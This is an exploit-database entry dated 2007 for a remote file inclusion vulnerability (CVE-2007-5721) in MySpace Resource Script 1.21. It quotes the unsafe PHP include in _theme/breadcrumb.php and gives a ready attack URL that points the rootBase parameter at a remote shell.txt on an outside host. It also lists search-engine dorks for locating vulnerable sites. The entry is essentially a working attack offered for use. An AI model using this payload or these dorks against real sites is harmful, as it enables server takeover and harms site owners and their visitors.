MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion

Author: r00t@zapak.com
type: webapps
platform: php
port: 
date_added: 2007-10-28 
date_updated:  
verified: 1 
codes: OSVDB-38838;CVE-2007-5721 
tags: 
aliases:  
screenshot_url:  
application_url: 

MSRS v.1.21 Remote File Inclusion

Author Site : http://www.myspacepros.com/

POC :

/_theme/breadcrumb.php Line No. 3

<?php include($rootBase . '/_inc/breadcrumb.php'); ?>

Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt?

D0rks :

inurl:/Generators/Layout_Generator
"!new Female Celebrities"
inurl:/Generators/Scrollbar_Colors

# milw0rm.com [2007-10-29]